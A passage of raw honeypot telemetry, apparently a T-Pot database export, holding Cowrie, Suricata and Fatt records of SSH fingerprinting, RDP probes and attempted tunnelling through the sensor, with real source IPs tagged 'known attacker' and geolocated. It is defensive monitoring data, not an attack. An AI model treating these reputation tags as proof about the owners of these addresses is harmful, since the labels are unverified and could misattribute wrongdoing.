"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28170	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:19.53385+03	2021-09-20 14:30:02.474523+03	{"_id": "tgbrAnwBvYTbRNuEzSwm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1640078048947581, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57228, "dest_port": 22, "timestamp": "2021-09-20T11:16:19.533850Z", "@timestamp": "2021-09-20T11:16:19.533Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
44168	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:29:54.154162+03	2021-09-20 16:30:04.789059+03	{"_id": "cgZmA3wBvYTbRNuEFqL-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:29:54.154162Z", "@timestamp": "2021-09-20T13:29:54.154Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28171	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:16:19.567957+03	2021-09-20 14:30:02.475524+03	{"_id": "uAbrAnwBvYTbRNuEzixs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57228, "dest_port": 22, "timestamp": "2021-09-20T11:16:19.567957", "@timestamp": "2021-09-20T11:16:19.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28172	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:20.536317+03	2021-09-20 14:30:02.476524+03	{"_id": "ugbrAnwBvYTbRNuEzyw_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "348e18676687", "@version": "1", "duration": 4.390745401382446, "timestamp": "2021-09-20T11:16:20.536317Z", "@timestamp": "2021-09-20T11:16:20.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28173	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:16:20.464736+03	2021-09-20 14:30:02.478523+03	{"_id": "vQbrAnwBvYTbRNuE0SwP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:19.732254+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 984494240902238, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62112, "dest_port": 3389, "timestamp": "2021-09-20T11:16:20.464736Z", "@timestamp": "2021-09-20T11:16:20.464Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28174	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:21.69241+03	2021-09-20 14:30:02.479523+03	{"_id": "wwbrAnwBvYTbRNuE0ywo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:34408 (192.168.176.2:22) [session: b2f77d7057df]", "session": "b2f77d7057df", "@version": "1", "protocol": "ssh", "src_port": 34408, "dest_port": 22, "timestamp": "2021-09-20T11:16:21.692410Z", "@timestamp": "2021-09-20T11:16:21.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28175	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:21.733303+03	2021-09-20 14:30:02.480523+03	{"_id": "xQbrAnwBvYTbRNuE0ywp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "73f2ce88e011", "@version": "1", "duration": 2.475031614303589, "timestamp": "2021-09-20T11:16:21.733303Z", "@timestamp": "2021-09-20T11:16:21.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
44175	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:29:52.525672+03	2021-09-20 16:30:04.799058+03	{"_id": "XwZmA3wBvYTbRNuED6Ir", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:29:52.525672Z", "@timestamp": "2021-09-20T13:29:52.525Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28177	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:16:21.971314+03	2021-09-20 14:30:02.483524+03	{"_id": "xwbrAnwBvYTbRNuE1Cz4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1773151168320466, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34408, "dest_port": 22, "timestamp": "2021-09-20T11:16:21.971314Z", "@timestamp": "2021-09-20T11:16:21.971Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28178	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:29.145534+03	2021-09-20 14:30:02.484524+03	{"_id": "5AbrAnwBvYTbRNuE8ixu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:49246", "session": "b961918efaae", "@version": "1", "src_port": 49246, "dest_port": 443, "timestamp": "2021-09-20T11:16:29.145534Z", "@timestamp": "2021-09-20T11:16:29.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28179	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:29.910127+03	2021-09-20 14:30:02.486524+03	{"_id": "6gbrAnwBvYTbRNuE9ixX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:49296", "session": "b961918efaae", "@version": "1", "src_port": 49296, "dest_port": 443, "timestamp": "2021-09-20T11:16:29.910127Z", "@timestamp": "2021-09-20T11:16:29.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28180	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:16:32.08931+03	2021-09-20 14:30:02.488523+03	{"_id": "9gbrAnwBvYTbRNuE_CwN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:31.995102+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 729053209243422, "payload": "AAADzAYUjmi+08vEHB3T3erQJlhLuAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54461, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:32.089310Z", "@timestamp": "2021-09-20T11:16:32.089Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......h..........&XK....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28181	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:16:31.790739+03	2021-09-20 14:30:02.489523+03	{"_id": "9wbrAnwBvYTbRNuE_CwN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "dest_ip": "192.168.20.116", "flow_id": 1961092495405155, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48550, "dest_port": 22, "timestamp": "2021-09-20T11:16:31.790739Z", "@timestamp": "2021-09-20T11:16:31.790Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28182	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:32.045619+03	2021-09-20 14:30:02.490524+03	{"_id": "-QbrAnwBvYTbRNuE_SxS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54461, "timestamp": "2021-09-20T11:16:32.045619", "@timestamp": "2021-09-20T11:16:32.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28183	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:16:32.089819+03	2021-09-20 14:30:02.492523+03	{"_id": "-gbrAnwBvYTbRNuE_iwp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": 